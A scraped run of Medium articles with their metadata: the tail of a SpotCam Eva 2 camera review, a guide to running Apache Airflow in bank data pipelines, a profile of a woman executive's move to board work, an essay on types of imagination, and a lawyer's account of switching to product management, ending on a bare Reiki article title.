1080p video resolution. The SpotCam app hasn’t changed much since I used it with the first Eva. Once you select the Eva 2 from the home screen, you’ll see the live feed with camera controls below it, including a speaker mute button, another for taking snapshots of the live feed, and a 30-second rewind. You can scrub through live video on a horizontally scrolling timeline displayed below this toolbar. At the very bottom are buttons for viewing recorded video clips of detected sound and motion events, triggering the microphone, and returning to the live feed. Options for customizing sound- and motion-detection sensitivity, alerts, and other features are accessible through a cog icon at the top right. [ Further reading: The best video doorbells ]The camera captures a sharp, vibrant image in daytime mode and provides about 32 feet of illumination with strong contrast when night vision is activated. When it detects sound or movement, it pushes a notification to your device with a snapshot of the feed included in the alert. These were accurate in my tests and arrived quickly, suggesting I’d be able to catch an intruder in the act during an actual break-in. Though these generic alerts work well enough, it’s worth enabling human tracking on the Eva 2 for $5.95 per month. It will help you reduce unwanted notifications by only alerting you when a human is identified, and it will lock onto the person and follow their movements so you don’t lose sight of them as they move through or around your home. That last feature is pan-and-tilt. Even without human tracking, you can can pan the camera 345 degrees and tilt it 90 degrees in small increments by swiping directly on the screen. You can hear the buzz of the motor clearly with each movement, but the camera is very responsive and precise, two things the original Eva’s pan-and-tilt wasn’t. Michael Ansaldo/IDG The SpotCam app lets you scrub through the Eva 2’s live footage. The Eva 2 stores all captured video in the cloud. It comes with the tantalizingly-titled Free Forever package, which includes what are actually pretty standard offerings: live streaming video, motion and audio detection, event alerts, and the ability to share live video and snapshots. You do get one-day rolling video history as well, but you must “subscribe” to this free feature in the app for the camera to start recording video clips. If you want to view more than a single day’s worth of recordings, you can upgrade to a 3-, 7-, or 30-day plan for $3.95, $5.95, or $19.95 a month, respectively. Though you can view recorded videos with any of these plans, you can’t download them. As with the original Eva, you must create a separate video for exporting from your surveillance clips if you want to have a file you can share via email or flash drive. This requires that you select either a “normal” or time-lapsed video and set parameters such as the video start time and clip length. The final product is saved to a separate tab called My Film, and you can download it to your local drive from there. This lingering limitation aside, the Spot Cam Eva 2 successfully eliminates the shortcomings of its predecessor and improves upon its strengths. Its easy operation and accurate AI features make it a great security solution for most scenarios. To get the most from it, though, you’ll likely want to upgrade the cloud storage plan and add the human-tracking features, so be sure to factor those costs into your purchase. Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details.

https://medium.com/@rick54211155/spotcam-eva-2-review-a-much-improved-security-camera-cc9139bcd558

[]

2020-12-23 19:46:09.626000+00:00

['Electronics', 'Tvs', 'Music', 'Home Theater']

Apache Airflow in a Digital bank Production

Production Background: We have 100s of data pipelines(mostly Apache spark) in production to ingest the raw data incrementally into an update based data warehouse, Also these pipelines should run periodically (hourly or daily) and should meet SLA’s to provide data to downstream teams. The input raw data will be placed by upstream teams in the landing location of the data lake anytime after the scheduled time. Where the Apache Airflow, an open-source workflow management platform became handy to schedule, monitor, re-run the failed tasks in the production. Apache Airflow was built on python and that can easily extend it to our needs. to be summerize, to execute our pipelines, we need to create DAG by writing templated python code and place it in the “dag bag” ($AIRFLOW_HOME/dags Directory on the master node), after that airflow scheduler will automatically pick up this dag, parse it and send all tasks into a task queue to execute on airflow worker nodes independently. The Airflow web server will get all the DAG metadata information from the Metadata database to display them in WebUI. Below are the building blocks of Airflow DAG: import python packages 2. Create Dag object by passing dag name, Default arguments, StartDate, Schedule interval, corn-like schedule expression, email to alert and so on 3. Create tasks(i.e Operator instances), by passing parameters to the specific operator. 4. Set dependencies between tasks using bitshift operators(“<<” or “>>”) or by python methods set_upstream()or set_downstream(). Sample Airflow Architecture in the Production environment(Design is subjected to the Organization’s culture and standards). Deployment Strategy: After creating the Airflow DAG, the developer would maintain the dag along with the source code of data pipelines in the version control repository(in this case Bitbucket).CI/CD pipelines will be using Jenkins to pull and build the source code from repo and deploy executable jars and their dependencies in all airflow worker nodes and DAG files into all the Airflow master node at “dagbag” locations(usually $AIRFLOW_HOME/dags/). Utilization of Sensors: As mentioned in the pipeline background, the Upstream team will copy the to be processed raw data into the landing location (S3 in this case) at any time after the scheduled time. Here, We have created sensor tasks with S3Sensor and S3PrefixSensors operators to continuously poke into S3 location, Whenever files with matching naming format available in the input location, the sensor will return the boolean value as “true”, then actual Spark tasks in the DAG will kick-off. Worker node setup: As we know all tasks of the same DAG may execute in different worker nodes independently, so tasks will execute randomly on available nodes. To get this done properly, we should maintain all worker nodes with the same configuration, metadata, and the directory structure. for example, task “t2”, is an instance of the BashOperator by calling a Bash script with the bash_command argument as below. the task “t2” may execute on any one of the worker nodes randomly. So the script file “test.sh” should available on every worker node at the same location(“/home/batcher/test.sh) and with reading permissions. XComs: As discussed, the Airflow target is to run the tasks independently on the worker nodes, so there is no possibility of sharing the data/information between the tasks. However,in case of tasks that should get some metadata or information from other tasks, to fulfill such requirement airflow will have Xcoms to share the information from one task to another task. Where source task is to push the information to XComs at any time by calling the xcom_push() method. Tasks will call xcom_pull() to retrieve XComs. Airflow worker and Spark limitations: To execute any specific task on any worker node, need present to have all the dependencies of that operator. As most of these pipelines are spark based, so have configured airflow worker nodes on spark gateway nodes to launch spark jobs on spark cluster by executing airflow tasks. But limitation here is to be the spark job should be in client mode, which gives airflow an ability to get spark logs and job status. If we cluster mode is mandatory to launch spark job then airflow will not able to get spark logs and job status. Airflow CLI: Airflow has a very rich command-line interface that allows for many types of operation on a DAG, starting services, and supporting development and testing. Also, we can test each task in DAG independently by commands airflow test dag_id task_id execution_date airflow run dag_id task_id execution_date Backfill: Airflow will auto re-run the previously failed task instances within the backfill date range. airflow backfill [-h] [-t TASK_REGEX] [-s START_DATE] [-e END_DATE] [-m] dag_id Remote logging and metrics visualization: Users can specify a logs folder in airflow.cfg using the base_log_folder setting. By default, it is in the AIRFLOW_HOME directory. Besides, users can supply a remote location for storing logs and log backups in cloud storage. To enable this feature airflow.cfg must be configured with “remote_logging = True”, then Airflow can store logs remotely in AWS S3, Google Cloud Storage, or Elastic Search. Where in Elastic Search, if we can store the logs with id as “{{dag_id}}-{{task_id}}-{{execution_date}}-{{try_number}}” and json_fields = asctime, filename, lineno, levelname,message, then we can able to visualize the complete Airflow metrics on either Kiband or Grafana by querying on Elastic Search. Challenges: The biggest challenge in the Airflow platform is to maintain scheduler and web server daemons. In case, webserver daemon got killed or crashed then WebUI will not be available to users, but it will not affect any task execution scheduling. We could manage this by maintaining multiple masters with multiple webserver daemons. To workaround, Also can restart the airflow webserver. But in case, scheduler got killed or crashed, it will stop scheduling the tasks and also create chaos in the cluster. To be noted, we can’t maintain multiple schedulers in the same cluster, if we do so task duplication will happen. Chance of scheduler is more when current running dags are high in numbers, can happen as it is unable to query the airflow metadata database(MariaDB in our case). To mitigate that issue we have used a database proxy (MaxScale in our case) to handle queries from the scheduler. This proxy will load balance the requests such that send write queries to the Master node and read queries to worker nodes of the airflow metadata database. Any queries, please reach me on Linkedin: www.linkedin.com/in/anilpalwai

https://medium.com/analytics-vidhya/apache-airflow-in-a-digital-bank-production-8003fb66e6ca

['Anil Palwai']

2020-05-04 16:08:48.015000+00:00

['Apache Spark', 'Airflow', 'Production', 'Big Data', 'Digital Banking']

Pivoting Your Career: One Woman’s Journey of Scaling to the C-suite and Beyond

by Athena Alliance Jeannie Diefenderfer is a fantastic example of a well-rounded woman executive: she grew her career at Verizon, making a series of lateral and vertical pivots as she consistently elevated her role, eventually retiring from Verizon as a Senior Vice President leading a 10,000-person team. She then pivoted to the boardroom, serving as an independent board director at organizations like MRV Communications, Westell Technologies, Windstream Holdings, and Colony Capital. If that weren’t enough, she began her own advisory consultancy advising boards and CEO on operations and efficiency strategy. She serves as an advisor at Accenture and a board trustee at the Franklin W. Olin College of Engineering. And she’s a yoga enthusiast and through-hiker, aspiring to hike the Appalachian Trail. Liz Tinkham talks with Jeannie about her path to the boardroom and C-suite in an upcoming episode of . In the following article, we’ll explore more of Jeannie’s story, best practices on pivoting your career, and her tips for aspiring board directors hoping to break into the boardroom for the first time. Scaling toward the C-suite People often toss around the phrase “climbing the corporate ladder.” But often, careers don’t progress in such a linear manner. Jeannie’s own journey showed that sometimes, a lateral career move-one where you take a similar role (in terms of pay and seniority) as your current position at a different company, or move into an entirely new department-can catapult your career to greater success. Jeannie made several lateral moves in her career, in addition to brief stints outside the Verizon company. “I started to see a lot of the people that I work with beginning to step out of the organization,” Jeannie recalls of her early years at Verizon. “And of course it was time for me. I always say ventilation is a good thing.” Several people were instrumental to Jeannie’s success as she scaled toward the C-suite, what Athena often refers to as your “Personal Board of Directors.” These mentors and coaches helped Jeannie see through the fog to hone in on her progression as a leader. “The best mentors and coaches I’ve had in my life are the ones who never told me what to do, but gave me the optionality of paths,” she said. “When I asked for prescriptions, they say, ‘Oh no, that’s your call.’ I really loved that because it really forced you to think about what you want to do, whether it aligns inherently with your values.” The struggle to balance priorities as a woman leader Her career decisions often provided enriching opportunities for her family-traveling to far-flung locations and allowing them to indulge in finer experiences-but it also required long hours and considerable dedication on her part. “I used to self rationalize my decision around quality of time versus quantity,” Jeannie reflected. “I was the breadwinner. My career was taking off and [my husband] was the trailing spouse. I treated my family life and my kids as a separate unit away from my professional life.” In the middle of her career, Jeannie was often asked how she balanced being a mother with her demanding work schedule. And looking back now, she realized there were times when she failed. “People used to ask me, ‘How do you balance that? How do you be the perfect woman doing both?’ There’s no such thing,” she said. “I would make sure that I’m present at the right places for my children. But I look back, and I really wasn’t that present all the time.” Getting in the mindset of a board director At a key moment, Jeannie remembers asking herself “What else am I dying to do in the company?” And when she couldn’t come up with an answer, she knew it was time for a change. “I had 28 years in the business, the company was going through a culture shift and leadership shift. And whether or not I liked it, as I look back on it, it was just a change,” she said. “I had turned 51. I thought this could be a good pivot.” So she shifted her attention to board work, which she considered the epitome of success where she could lend her expertise for a larger purpose. But she quickly realized that board service was not just a destination, but another launching point for learning, impact, and change. “You tend to look at it as a point of destination and arrival, so you work really, really hard to get there,” she said. But this isn’t the time to sit back and relax. “Board work is a point of entry, meaning it is the next phase of hard work. It’s just different hard work. You have to go in with a mindset that says, ‘I’m going to learn as much as I used to learn. I’m going to execute as a board person in terms of my roles and responsibility, just as hard as I was in management. And I am going to do everything in my power to make that company better.’” Advice for rising board directors Serving as a Nom/Gov chair and board director for several companies, Jeannie has unique insights into the decision-making process for board recruitment. For aspiring board directors, she wants to ensure they have the right mindset and expectations for board service. “There’s so much available information out there around the roles and responsibilities of the board and the regulatory environment for a public company board,” she said. “And there is lots of information out there on private company boards, how the committees work, the no-no’s, the risks. Do your homework.” Understand the expectations and demands of board directors, and what you are looking for in board service. Think about the key experiences in your career you truly enjoyed, and how those would translate to the boardroom. Do you enjoy forming go-to-market strategies? Were you the go-to person for streamlining operations or a just-in-time, out-of-the-box marketing technique? Blending your corporate governance knowledge, the key skills you bring, and what you really and want to contribute create your sweet spot for board-level leadership. “If people ask you these questions or just have a conversation with yourself, then you can have a thoughtful conversation board work that has the intelligence, the research, and thoughtfulness about how you add value,” she said. “To me, that is really important.” — Learn more about Jeannie’s journey in her Third Act episode with Liz Tinkham. You can connect with her on LinkedIn here. Originally published at https://athenaalliance.com on December 2, 2020.

https://medium.com/@athenaalliance/pivoting-your-career-one-womans-journey-of-scaling-to-the-c-suite-and-beyond-2f46d502859a

['Athena Alliance']

2020-12-07 18:25:41.443000+00:00

['Career Change', 'Women Leaders', 'Women In Business', 'Business', 'Career Development']

Activate the power of your imagination

The reality of the unreal The New Mindscape #A2–3 Imagination To learn how to play with the magic of your thoughts, you need to understand the power of your imagination. In English, imagination has two related but contrasting meanings. One is to associate imagination with creativity — it’s something we especially encourage among children. Or we associate imagination with illusion — it’s something that’s not true, that exists only in our mind. Here, I want to talk about imagination as a kind of power. Aristotle distinguished between perception, imagination and intellect. Perception is a power of the body, intellect is a power of the mind, and imagination is a power of the spirit. Let’s consider three different types of imagination. One is projective imagination. To understand what projective imagination is, let’s take an engineer as an example. This engineer may start with an idea that there is an island over there. Then, the engineer decides to build a bridge between here and there. This bridge doesn’t exist in the physical world, except in the engineer’s mind — it’s an imagination. The first thing this engineer does is to imagine a bridge. The engineer starts to picture this bridge in her mind. She then thinks about how to turn this imagined bridge into a real one. Next, the engineer begins to draw a picture of the bridge, makes a plan of the bridge with measurements and so on, and then finally decides on the material, organises the workers, and hires construction companies to implement the whole project. So, what did not exist in a material sense, being an imagination, after being projected in someone’s mind, becomes a physical reality. This is one kind of imagination. Nyabarongo Bridge, Rwanda by TomAlt We all practice this kind of imagination. All of you here have imagined yourselves getting bachelor’s degrees. You don’t have a diploma from this university — your diploma only exists in your imagination. With this imagination, you begin to picture how you will achieve that, and how this imagination is going to become a physical reality, namely a diploma in your hands. This is what we call projective imagination: you consciously desire something through your imagination, and then you plan in a conscious way to turn the imagination into physical existence. The second type of imagination is creative imagination. Let’s consider an artist, an architect, a poet, or even an entrepreneur, any profession related to creation. Let’s assume that you want to make a sculpture. There is an imagined object your mind, something you want to sculpt, whereas you are not sure about the details. However, it is while you are sculpting it that many new ideas come to mind. So, you start with an idea that is vague, and then it comes to shape while you are sculpting it. As you make the statue, it actually grows into something you hadn’t imagined at first. Or, let’s say you are writing an essay, a poem or a story. You have some basic but vague ideas. Then, you start writing. The imagination drives, inspires and pushes you forward. As you go along, the idea becomes richer and more detailed. Many authors say that when they are writing their stories, sometimes these stories come to life. It is not like that engineer who had the whole thing planned out right from A to Z. In contrast, an author writing a story has an intuition and an idea. But then as this author goes about putting it into reality, somehow it takes a life of its own, and becomes something new. This is creative imagination. The third type of imagination is receptive imagination. For this type, it is a flash of insight, a dream or a vision that just arises into your mind, the origins of which are unknown. A new idea somehow pops up spontaneously. Compared with the planned, projective imagination, this kind of imagination might come when you are daydreaming, when your mind is wandering, or when you are dreaming at night. It just happens like that. The imagination comes to you, and you receive it, and you don’t know where it came from. Those imaginations — ideas, inspirations or visions that you receive — also can influence you in what you do. They might lead to a new decision, a new idea, a new plan or even a change in your life. So again, for a poet, an artist or a businessman, the very first idea may be a flash of inspiration — some kind of inspiration or vision just came. Then, this idea somehow led these people to do something in this world, or to change something in it. In an abstract sense, it is easy to categorise and to contrast these three types of imagination. However, when we think about how these three different types of imagination operate, we will realise that the three often occur at the same time. Engineering perhaps involves the most projective type of imagination, yet even engineers have some flashes of insight — new ideas, unexpected solutions just pop into their minds. So receptive imagination may also be very important as perhaps the starting point of projective imagination. The two may go together. Projective, creative and receptive types of imagination are usually mixed together when we are actually doing things, going about our lives. Imagining your future Now let’s do an exercise about using your imagination. What kind of person do you want to be in ten years? Imagine yourself with some detail. Don’t hesitate to dream. Write it down. Now, what’s your plan for becoming that person? Write it down. Now let’s talk more about planning. Planning is about turning imagination into reality. A good plan includes all three types of imagination. For example, let’s imagine you want to create your own business, but you don’t know exactly what kind of business. You need to use your projective imagination to make a very specific plan of the essential skills you’ll need to learn, the training you need to undergo, the diplomas and certifications you’ll need to get, the time it will take to arrange and complete these requirements, and so on. Like an engineer, you have specific goals, and make a linear plan to achieve them. But at this stage, your idea is still vague. It’s going to evolve with time. You’ll do certain things, and this will lead you into new directions that will give a clearer shape to your business plan. This is your creative imagination. You’ll have new ideas, you’ll try certain things, and as you put them into practice your ideas will become clearer, in ways you hadn’t thought about before. And along the way there will be completely unexpected insights and ideas that will come to your mind. They might solve your problems in a way you’d never thought of before, or point out to a new direction you’d never imagined before. This will feed into your creative imagination, which will lead you to adjust your projective imagination. This imagination of yourself in the future is an object of consciousness. Put it in a central position in your mindscape. Note that it’s alive, with many aspects and dimensions, growing and evolving. Tend to it like a plant growing into a tree. It will have power over you, it will give you direction, and make you achieve your dream. If it’s a dream you love, you’ll give it positive energy, and it will positively empower you. If it’s not what you truly want, you’ll give it negative energy, and you will struggle with it. But remember one thing: it’s not really you. You can cut the tree at anytime. Maybe the tree will be cut from you, because something happened that dashed your dream. But that’s OK, because it’s not you, it’s an imagination. You can start again with a new imagination. Learn to play with your objects of consciousness. Learn to gain power from them, and learn to let go of them. This is the meaning of “letting go” and “detachment” in spiritual teachings. In Daoism, it’s called “doing nothing to leave nothing undone” (wuwei er wu buwei) It doesn’t mean you shouldn’t plan or make an effort for a better future. It means, don’t let your plan control you. Imagine, create your plan, empower your plan, let your plan give you power. And let go of it like a child’s dream when it’s wrong or when it has served your purpose. Now let’s think about planning in a more detailed way. Just now we talked about imagining yourself in ten years. Now, let’s think about your body, your mind and your spirit. Think about one year from now. What do you want for your body in one year? Think in terms of health, exercise, diet, sports abilities, or so on. What do you want for your mind in one year? Think in terms of intellectual capacities. Such as specific knowledge or specific skills. Think, for example, of the specific knowledge and skills you need to master for your major; but it could also be other knowledge and skills that you’ve decided that you need to know for your career, or for your interest and personal development. What do you want for your spirit in one year? There’s a lot of possible things you might think of. But if you’re not too sure what this means, let’s start with this: what kind of difficulty do you have in your relationships with others, and how would you like to improve yourself to better handle your relationships? Or you could think about the spiritual capacities I mentioned today: the capacity to create a more positive and beautiful mindscape, to manage your thoughts and your mental energies. For these three, write down your goal. For each of the goals, one at a time, imagine yourself having reached that goal, and imagine yourself working to reach that goal. Close your eyes and spend a good amount of time imagining yourself in that way. What will you do? And what will you need to change from the way you are? Write some of these things down. And make a plan to start implementing those things, regularly and systematically, starting today. Every day, every week, do a bit. These goals are objects of consciousness that are products of your imagination. By thinking about them and working toward them every day, they will become a stable and increasingly well rooted presence in your mindscape. They are objects of consciousness that you are now empowering. Now that they’re implanted in your mindscape, they will start to motivate you and to empower you to reach the goal. … This essay and the New Mindscape Medium series are brought to you by the University of Hong Kong’s Common Core Curriculum Course CCHU9014 Spirituality, Religion and Social Change, with the support of the Asian Religious Connections research cluster of the Hong Kong Institute for the Humanities and Social Sciences.

https://medium.com/the-new-mindscape/activate-the-power-of-your-imagination-b9c588c0dd00

['David A. Palmer']

2021-02-02 07:22:38.752000+00:00

['Spirituality', 'Imagination', 'Spiritual Growth', 'Philosophy', 'Mindset']

Leaving the Law: Transitioning to Technology (Product Management)

“If you really feel stuck… don’t wait too long to make the move.” Today, a lot of people desire a career where there is an opportunity to build meaningful relationships with team members who have a shared sense of mission which involves doing good, impactful work, as well as one that provides a higher chance of economic benefit. If you fall into this category, perhaps you shouldn’t look too far from Tech. There’s no limit to what you can do in Tech. Whether it is: Learning software development; or Being a Product manager, a Project manager, a business analyst, a marketing or sales executive, a UI/UX designer, amongst other things. As a Lawyer however, if you want to switch careers at some point, your best bet is to choose a path that is adaptable by definition. Therefore, you might want to tilt towards Sales, Marketing or Product management. The reason for this is simple — Product Management is one of the most versatile disciplines out there because the core skills required for the role such as technical expertise, stakeholder management, and commercial awareness are fully transferable. Getting a job in Tech is kind of a unique process. It is one of the few industries where the need to show your capabilities surpasses the need to show off your degrees. Generally, you mostly have to prove that you can do the job and demonstrate the potential in order to get in. Four years ago, I left Law to pursue a career in Tech. In 2017, I joined one of the biggest telecommunications vendor companies in the world and kicked off my career as a Product Manager. Frankly, it wasn’t the easiest ride when I started, but expectedly, the pool will always be icy cold when you first dip your toes in. But after going through the initial hurdles, it really has been a phenomenal experience. So far, I’ve contributed to the success of multiple projects across Africa, Asia and Canada and managed end-to-end functional products that are in use in several Nigerian banks and Telcos today. This covers Mobile Apps to Robotics Process Automation to Payments, a Robo-advisory investment platform, APIs, and UX functionalities on ATMs. I currently work for a startup that is building the future. In all these, I’ve done a stretch of Core Product Management, business development, sales and almost naturally, some legal work. Perhaps the perfect description of the Product Manager and the epithet “wears many hats” has been most apt and retable for me. Within four years, I’ve worked in a multinational, a Canadian startup and 2 Nigerian startups — two of which have succeeded in raising series A funding rounds of $5.5m and Pre-seed funding of about $1m respectively. Of course, I’ve made more money too but more importantly, I’ve made great friends along the way. Transitioning from Law to Tech is still quite uncommon especially in Nigeria. Globally, we’ve seen notable examples like Neil Shah, Product Manager at Twitter, who left his law career to pursue a career in Product Management. Blake Reese also worked as a lawyer at Google before transitioning into Product Management. As you can see from these examples, Product Management is a discipline open to everybody. So why consider a career in Tech? - It offers you an opportunity to have a massive impact on the world. Sounds familiar, right? You know how most people claim to want to impact the world and help people by being Lawyers. Well, you can also impact the world through tech. While a lawyer may be able to help one client or business at a time, software allows you to scale your reach. Tech, if directed at the right communities, may also have a similar result. Your software can expand to help people beyond any single attorney-client relationship. - Another reason to consider a career in Tech is because it’s where employment opportunities are bound to increase in coming years. Every year, venture capitalists invest billions of dollars into tech startups. This means more companies will be hiring in the space. This also means that many of these startups are armed with financial resources to be able to pay handsomely. While many of those roles will go to software engineers, there are dozens of jobs you can also do. - Along with the impact, job availability, and room for creativity and innovation in Tech, a number of additional reasons make the industry a compelling choice. The Transition Based on my experience, and the many experiences I’m aware of, including lessons from Lenny Rachitsky (Product Manager at Airbnb), here are the ways most people get their first shot at product management: 1. Internal transition at a company — Generally, this is the easiest and quickest route. If for example, you’re already an in-house counsel in a Tech firm but you want to switch into Product Management, three things are required. They are: aligning — an internal transfer process of some kind; having a chance to demonstrate the skills previously listed; and most importantly, an internal PM champion for your transition (typically your new manager). If two of three exist, find a way to make the third happen. Otherwise, pursue one of the other paths. 2. Finding a junior PM role at a large company — The key to this route is clearly demonstrating that you are smart, driven, and have raw strengths in a handful of the skills. Look into programs such as Product School and General Assembly, and join communities like PMHQ. 3. Joining a startup with a burning need — The key to this route is having connections with startup founders, showing a lot of hustle, and delivering success when you are given the chance. Having a very strong growth mindset is key since you’ll have to learn how to do this job on the fly. In this path, you can either start as a founding PM, or transition into it after doing the job for a while. 4. Starting your own company- This is by far the most work-intensive path, and it is rarely planned, but hey, it works. CEOs often become PMs after an acquisition since the job is very similar. Alternatively, founders can take on the PM role at their own company as the company grows. What more? Look within an industry that is related to your current industry or hobby It is easier to get in with little experience when you already have familiarity with an industry. This gives you a chance to provide value to the company beyond the raw tech skills you’re bringing to the table. You know the lingo, the market, and the things people care about there. All of this gives you an edge in the application process — from cover letters to interviews. For instance, if you’re coming from finance, banking, or accounting, a FinTech company could be a natural fit. For Lawyers, RegTech or LegalTech would be easier — these are basically startups that make use of new technology to facilitate the delivery of legal services and regulatory requirements. For instance, Atrium, a machine learning startup which provides legal services to startups and digitizes documents. In Nigeria, we have a LegalTech company called NextCounsel as well. As a lawyer, you might have some knowledge of insurance, so there’s InsurTech for you — where you’d find companies like ‘’Tractable’’ — which uses Artificial Intelligence to settle accident claims faster. In Nigeria, you’d find companies like ‘’PaddyCover’’, ‘’Cassava’’ — leveraging technology to power affordable pay-as-you-go insurance services. If you like the lending space, Fintech companies like Migo, Carbon and Renmoney leverage technology to provide instant loans to individuals and businesses. There’s Payments, PropTech, EdTech, HealthTech and many other areas that may interest you. There are so many crossover options to explore! Advice for those considering a switch You really need to understand what Product Management is and what type of skills it takes to be successful at it. The good thing about Product Management is that people who are successful Product Managers have a diverse skill set, a diverse background, and come from all walks of life. So, it’s really all down to whether you have the passion and ability to work with a strong cross-functional technical team to develop products that satisfy customer needs enough to make them want to buy it — it’s about leveraging what you know and developing what you don’t know; it’s all about trying to gain those skills that you may be lacking to try to bridge that gap. If you’re new to an organization, invest in relationships, and ask “why” a million times — this will help you execute better and faster. Executing well is like captaining a tight, smooth-sailing ship. You need to make sure that everyone knows what they need to do and then does it, that the crew hums together in unison, [and] that you estimated the journey well enough to have packed ample supplies — Julie Zhuo Here’s a recommendation for developing product sense: Build a small product yourself or with friends and get it out there. Find a problem and try to solve it for someone or for yourself or volunteer. Start a project that includes many challenging stages that mirror the product roadmap. Everything from conception, design, market, user and design research, marketing, launch, sales. There’s absolutely no better way to learn than to DIY and be a super user of that product. There should be no bigger power user of your product on the planet than you. It is only by using your own product obsessively (eating your own dog food, as we say) that you will develop and nurture accurate instincts for the ways in which the product can and should be better. The main goal of the side project is to show you can: ● Take action; ● Put together a plan; and ● Finish what you started. I’d also like to add that the role of a product manager cannot be likened to fluid movements like master yoga poses or t’ai chi. Product leaders know what fire looks, feels and smells like. They put out fires all the time. The last thing your peers, subordinates, or Managers want to see is someone who goes berserk every time a crisis occurs. Stay calm, even when your hair’s on fire. Do you REALLY need a Technical Background? I didn’t have a technical background when I started out. I don’t think it’s necessary to have any kind of specific background to be a product manager when getting started. It’s like Lauren Chan Lee says: Know your value add. I’ve seen three main PM archetypes: Engineer turned PM, designer turned PM, and businessperson turned PM. As a member of the latter bucket, I recognize that I could never out-engineer an engineer or out-design a designer. Instead, I leverage my knowledge of our business and customers to better prioritize what features make it onto the roadmap and help my team understand why we’re building those features. PMs know just enough of each discipline to be responsible for the entire product development system. A product manager’s multidisciplinary awareness enables them to communicate in whatever language is necessary to effectively deliver information across the team. People with Engineering, Marketing, and Design backgrounds are halfway there because they have at least one of the essential set of skills for PMs. However, their transition is no guarantee either. While you can always learn tools and design skills, an innate business sense is more difficult to train. The Challenges of transitioning from Law to Tech The biggest challenge I faced at the start of my journey was getting to grips with the taxonomy, terminologies, theories and techniques that go hand in hand with product management. You’ve probably heard of legalese, well there’s also an equivalent language when it comes to product management and software development. Once I got a good understanding of the technical elements of software development, I found my background in law to be very beneficial. In law, you are often explaining complex concepts to people with little background knowledge, all whilst managing multiple stakeholders. The same applies to product development. The two disciplines rely heavily on excellent communication skills. As a lawyer, you get to solve people’s problems to make their lives better. As a Product Manager, I get to solve problems to make people’s lives better by working with really smart engineers to actually build things. Skills you already possess as a Lawyer 1. Communication Skills: This is almost a natural skillset as a lawyer. So as a Product Manager, you are going to spend most of your time communicating. Every Product Manager needs to be an incredibly fast learner so you can keep up with industry trends and team needs in order to be able to share a clear vision of the product with every single stakeholder. You don’t let loose ends stay loose and you prevent things from falling through cracks. You are the propellant that pushes through all opposition and ultimately gets the product shipped. 2. Continuous learning: You’re already aware of the famous quote that says ‘’A good lawyer is not who knows all the law; but knows where to find the law’’. Anybody who is regularly working and talking with tech people tends to hear about the same concerns. One of the most frequent complaints we pick up is the lack of practical learning resources. This is because Product Management, if anything, is a heavily hands-on discipline. Adding to this confusion, Product Management has no well-defined framework and is often treated as a transient discipline in many companies. Consider a few obvious symptoms: ● No two companies seem to manage products the same way. ● Product managers report to different functions in different companies. ● Most companies have neither a formal structure nor standardized internal Product Management professional development programs. In my experience, I have always relied on the advice of colleagues and thought leaders. Because you learn by listening to others who have tried, failed and succeeded before you. The role of a PM changes wildly from company to company, and even within a company from team to team. As I have said before, it is perhaps the job where the epithet “wears many hats” is most apt. Just Be a student — Study, observe, and be open to continuous learning. Be a teacher — Help others to learn and grow so they can develop the habit and knack of continuous learning. Equally, you are more than comfortable with tight and conflicting deadlines. With digital products, launch dates do not mean anything: features are in constant iteration and review. 3. Attention to detail: Without doubt, is another attribute that has transferred well. There are very few industries that require a level of attention to detail that the legal sector requires. Applying that to product development has helped reduce costly errors and resulted in better end products. ● Develop a product mindset for everything you do — Life itself is a product and every day is an iteration. ● You will need to write a lot. Product managers do a lot of writing — from user requirements to user stories, road maps, and co 4. Leadership skills: As a Product Manager, you are the conductor in an orchestra. You’re also a motivational speaker. A visionary. At times, a therapist. At times, a mediator. And when there are a dozen loud voices in the room, you need to be the balancing voice of reason, and find the compromise. You need to understand what your engineers are telling you, and know which numbers are keeping your accounts department up at night. Great products aren’t built by individuals working in isolation. They are built by teams. Designers. Engineers. Marketers. There’s not a lot that you are singularly responsible for as a Product Manager. Everything comes from someone else, you pull it in. You are responsible, but you didn’t build it yourself. Credit isn’t something that totally applies to PMs. In fact, as a Product Manager, one of the best things you can do for your team is to willingly take the blame for things that may not have been your fault. You are probably the only person who really can see where the ball got dropped, so owning the mistake will help you the most while promoting team-spirit. Scoop it up and be a leader. Resources that may help you Books: The lean startup Buyology: about why people buy things Platform Leadership: How Intel, Microsoft, Cisco Drive Industry Innovation UX for Lean Startups Lean Analytics: Use Data to Build a Better Startup Faster Inspired: How to Create Products Customers Love Product Manager’s Desk Reference embodies everything “product management.” It is a comprehensive, versatile, must-have resource for anyone who works in any company, in any industry, who seeks to successfully and profitably market and manage products and services. Blogs: - Mind the Product, Product Club, and Product Manager HQ. Medium Articles: - There are great readings on Medium. I like Brandon Chu (Former PM, Shopify), John Vars, and Nick Babich. The last one is mostly about UX. Podcasts: Global Product Management Talk, and Rocketship. General Product Resources and Articles: 2. Ken Norton (Former Google PM and current GV partner)’s blog Closing thoughts Now that I am on the other side, I firmly believe that if you are determined to achieve and willing to learn, you definitely can have the skills needed to become a Product Manager. The best way to get started is also to use influencers. Customers put more trust in recommendations by acquaintances than those by brands. So do recruiters. Send your PM resume through a current employee of the company you’re applying to. That way, you won’t be just an anonymous applicant. They will associate you with the person you used as a messenger — they might even put in a good word for you. My hope is that this article has helped to demystify the process by sharing my personal journey and experience. Ultimately, my greatest piece of advice is that a bias for action will serve you well here — Start talking to people, start doing some research, start applying to roles, and I wish you the best of luck on your process. And don’t forget, “If you really feel stuck… don’t wait too long to make the move.”

https://medium.com/@raheemroqeeb/leaving-the-law-transitioning-to-technology-product-management-149411f38d55

['Raheem Roqeeb']

2021-07-05 12:49:22.862000+00:00

['Startup', 'Transitioning', 'Product Management', 'Startup Life', 'Law']

How to Heal your Past Lives with Reiki

